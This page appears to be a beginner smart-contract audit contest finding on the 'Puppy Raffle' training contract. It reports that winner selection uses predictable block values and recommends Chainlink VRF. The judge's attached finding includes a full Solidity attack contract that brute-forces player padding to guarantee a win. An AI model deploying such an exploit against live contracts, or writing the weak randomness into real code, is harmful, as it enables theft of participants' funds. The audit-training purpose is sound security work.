Puppy Raffle
AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Predictable On-Chain Values Used for Randomness Allow Winner Manipulation

skadooshor

Description

The selectWinner() function should randomly and fairly select a winner from all participants. True randomness should be unpredictable to all parties.

The winner selection relies entirely on msg.sender, block.timestamp, and block.difficulty — all values that are either known or controllable by an attacker at transaction time.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
@> uint256 winnerIndex = uint256(
@> keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
@> ) % players.length;
​
address winner = players[winnerIndex];
// ...
}

Risk

Likelihood: High

  • All inputs to the randomness calculation are publicly visible on-chain

  • Attackers can simulate the outcome before submitting their transaction

Impact: High

  • Attackers can guarantee winning every raffle they participate in

  • Complete breakdown of the lottery's fairness and integrity

Proof of Concept

  1. Attacker deploys a contract that can calculate the winner index

  2. Attacker queries current blockchain values (block.timestamp, block.difficulty)

  3. Attacker calculates exactly how many addresses to add to make their address win

  4. Attacker enters the raffle with the calculated number of addresses

  5. Attacker calls selectWinner() in the same block

  6. The attacker's address is guaranteed to be selected as the winner

Recommended Mitigation

+ import "@chainlink/contracts/src/v0.7/VRFConsumerBase.sol";
​
- function selectWinner() external {
+ function selectWinner(uint256 randomness) internal {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
​
- uint256 winnerIndex = uint256(
- keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))
- ) % players.length;
+ uint256 winnerIndex = randomness % players.length;
​
address winner = players[winnerIndex];
// ...
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!